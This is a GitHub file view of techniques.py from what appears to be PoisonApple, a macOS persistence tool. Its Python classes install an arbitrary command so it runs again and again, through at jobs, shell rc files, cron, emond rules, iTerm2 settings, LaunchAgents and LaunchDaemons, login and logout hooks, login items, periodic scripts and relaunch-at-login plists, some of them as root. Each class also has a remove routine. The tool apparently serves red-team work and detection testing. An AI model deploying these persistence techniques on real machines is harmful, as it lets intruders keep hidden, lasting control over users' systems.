-
Notifications
You must be signed in to change notification settings - Fork 34
/
techniques.py
326 lines (252 loc) · 9.88 KB
/
techniques.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
import os
from poisonapple.util import (
print_status,
get_full_path,
create_cron_job,
remove_line,
create_app,
get_plist,
write_plist,
plist_launch_write,
plist_launch_uninstall,
)
class Technique:
def __init__(self, technique, name, command, root_required=False):
self.technique = technique
self.name = name
self.command = command
self.root_required = root_required
self.success = False
self.error_message = str()
def display_result(self):
if self.success:
print_status("success", text=self.technique)
else:
print_status("failure", text=self.technique)
print_status("python_error", text=self.error_message)
@staticmethod
def execute(func):
def wrapper(self):
if self.root_required and not os.geteuid() == 0:
self.error_message = "Root access is required for this technique."
else:
try:
func(self)
self.success = True
except Exception as e:
self.error_message = str(e)
self.display_result()
return wrapper
class AtJob(Technique):
def __init__(self, name, command):
super().__init__("AtJob", name, command, root_required=True)
self.atrun_plist = "/System/Library/LaunchDaemons/com.apple.atrun.plist"
@Technique.execute
def run(self):
os.system(f"launchctl unload -F {self.atrun_plist}")
os.system(f"launchctl load -w {self.atrun_plist}")
os.system(f"{self.command} | at +1 minute")
@Technique.execute
def remove(self):
os.system(f"launchctl unload -F {self.atrun_plist}")
class Bashrc(Technique):
def __init__(self, name, command):
super().__init__("Bashrc", name, command, root_required=False)
self.bashrc_path = f"/Users/{os.getlogin()}/.bashrc"
@Technique.execute
def run(self):
os.system(f'echo "{self.command} # {self.name}" >> {self.bashrc_path}')
@Technique.execute
def remove(self):
remove_line(f"# {self.name}", self.bashrc_path)
class Cron(Technique):
def __init__(self, name, command):
super().__init__("Cron", name, command, root_required=False)
@Technique.execute
def run(self):
create_cron_job(os.getlogin(), self.command, self.name)
@Technique.execute
def remove(self):
remove_line(
f"# {self.name}", os.path.join("/usr/lib/cron/tabs/", os.getlogin())
)
class CronRoot(Technique):
def __init__(self, name, command):
super().__init__("CronRoot", name, command, root_required=True)
@Technique.execute
def run(self):
create_cron_job("root", self.command, self.name)
@Technique.execute
def remove(self):
remove_line(f"# {self.name}", "/usr/lib/cron/tabs/root")
class Emond(Technique):
def __init__(self, name, command):
super().__init__("Emond", name, command, root_required=True)
@Technique.execute
def run(self):
plist_path = get_full_path("auxiliary/poisonapple.plist")
trigger_path = get_full_path("auxiliary/poisonapple.sh")
with open(plist_path) as f:
plist_data = f.read()
with open(f"/etc/emond.d/rules/{self.name}.plist", "w") as f:
f.write(plist_data.format(trigger_path))
os.system(f"touch /private/var/db/emondClients/{self.name}")
@Technique.execute
def remove(self):
os.remove(f"/etc/emond.d/rules/{self.name}.plist")
os.remove(f"/private/var/db/emondClients/{self.name}")
class Iterm2(Technique):
def __init__(self, name, command):
super().__init__("Iterm2", name, command, root_required=False)
self.iterm2_plist = (
f"/Users/{os.getlogin()}/Library/Preferences/com.googlecode.iterm2.plist"
)
@Technique.execute
def run(self):
plist_data = get_plist(self.iterm2_plist)
plist_data["New Bookmarks"][0]["Initial Text"] = f"{self.command} && clear"
write_plist(self.iterm2_plist, plist_data)
@Technique.execute
def remove(self):
plist_data = get_plist(self.iterm2_plist)
plist_data["New Bookmarks"][0].pop("Initial Text")
write_plist(self.iterm2_plist, plist_data)
class LaunchAgent(Technique):
def __init__(self, name, command):
super().__init__("LaunchAgent", name, command, root_required=True)
@Technique.execute
def run(self):
plist_launch_write(self.name, self.command, 2)
@Technique.execute
def remove(self):
plist_launch_uninstall(self.name, 2)
class LaunchAgentUser(Technique):
def __init__(self, name, command):
super().__init__("LaunchAgentUser", name, command, root_required=False)
@Technique.execute
def run(self):
try:
os.mkdir(os.path.join(f"/Users/{os.getlogin()}", "Library/LaunchAgents"))
except FileExistsError:
pass
plist_launch_write(self.name, self.command, 1)
@Technique.execute
def remove(self):
plist_launch_uninstall(self.name, 1)
class LaunchDaemon(Technique):
def __init__(self, name, command):
super().__init__("LaunchDaemon", name, command, root_required=True)
@Technique.execute
def run(self):
plist_launch_write(self.name, self.command, 3)
@Technique.execute
def remove(self):
plist_launch_uninstall(self.name, 3)
class LoginHook(Technique):
def __init__(self, name, command):
super().__init__("LoginHook", name, command, root_required=True)
@Technique.execute
def run(self):
os.system(f'defaults write com.apple.loginwindow LoginHook "{self.command}"')
@Technique.execute
def remove(self):
os.system("defaults delete com.apple.loginwindow LoginHook")
class LoginHookUser(Technique):
def __init__(self, name, command):
super().__init__("LoginHookUser", name, command, root_required=False)
@Technique.execute
def run(self):
os.system(f'defaults write com.apple.loginwindow LoginHook "{self.command}"')
@Technique.execute
def remove(self):
os.system("defaults delete com.apple.loginwindow LoginHook")
class LoginItem(Technique):
def __init__(self, name, command):
super().__init__("LoginItem", name, command, root_required=False)
@Technique.execute
def run(self):
app_path = create_app(self.name, self.command, "LoginItem")
login_items_add_path = get_full_path("auxiliary/login-items-add.sh")
os.system(f"{login_items_add_path} {app_path}")
@Technique.execute
def remove(self):
login_items_rm_path = get_full_path("auxiliary/login-items-rm.sh")
os.system(f"{login_items_rm_path} {self.name}")
class LogoutHook(Technique):
def __init__(self, name, command):
super().__init__("LogoutHook", name, command, root_required=True)
@Technique.execute
def run(self):
os.system(f'defaults write com.apple.loginwindow LogoutHook "{self.command}"')
@Technique.execute
def remove(self):
os.system("defaults delete com.apple.loginwindow LogoutHook")
class LogoutHookUser(Technique):
def __init__(self, name, command):
super().__init__("LogoutHookUser", name, command, root_required=False)
@Technique.execute
def run(self):
os.system(f'defaults write com.apple.loginwindow LogoutHook "{self.command}"')
@Technique.execute
def remove(self):
os.system("defaults delete com.apple.loginwindow LogoutHook")
class Periodic(Technique):
def __init__(self, name, command):
super().__init__("Periodic", name, command, root_required=True)
@Technique.execute
def run(self):
periodic_path = f"/etc/periodic/daily/666.{self.name}"
with open(periodic_path, "w") as f:
f.write(f"#!/usr/bin/env bash\n{self.command}")
os.chmod(periodic_path, 0o755)
@Technique.execute
def remove(self):
os.remove(f"/etc/periodic/daily/666.{self.name}")
class Reopen(Technique):
def __init__(self, name, command):
super().__init__("Reopen", name, command, root_required=False)
def get_plist_paths(self):
reopen_path = f"/Users/{os.getlogin()}/Library/Preferences/ByHost/"
plist_paths = [
os.path.join(reopen_path, f)
for f in os.listdir(reopen_path)
if f.startswith("com.apple.loginwindow")
]
if not plist_paths:
raise Exception("Reopen plist file not found!")
return plist_paths
@Technique.execute
def run(self):
print_status(
"warning", "This technique is finicky and might not work as expected, YMMV."
)
app_path = create_app(self.name, self.command, "Reopen")
for path in self.get_plist_paths():
plist_data = get_plist(path)
plist_data["TALAppsToRelaunchAtLogin"].append(
{
"Hide": False,
"BundleID": self.name,
"Path": app_path,
"BackgroundState": 2,
}
)
write_plist(path, plist_data)
@Technique.execute
def remove(self):
for path in self.get_plist_paths():
plist_data = get_plist(path)
for reopen_dict in plist_data["TALAppsToRelaunchAtLogin"]:
if reopen_dict["BundleID"] == self.name:
plist_data["TALAppsToRelaunchAtLogin"].remove(reopen_dict)
write_plist(path, plist_data)
class Zshrc(Technique):
def __init__(self, name, command):
super().__init__("Zshrc", name, command, root_required=False)
self.zshrc_path = f"/Users/{os.getlogin()}/.zshrc"
@Technique.execute
def run(self):
os.system(f'echo "{self.command} # {self.name}" >> {self.zshrc_path}')
@Technique.execute
def remove(self):
remove_line(f"# {self.name}", self.zshrc_path)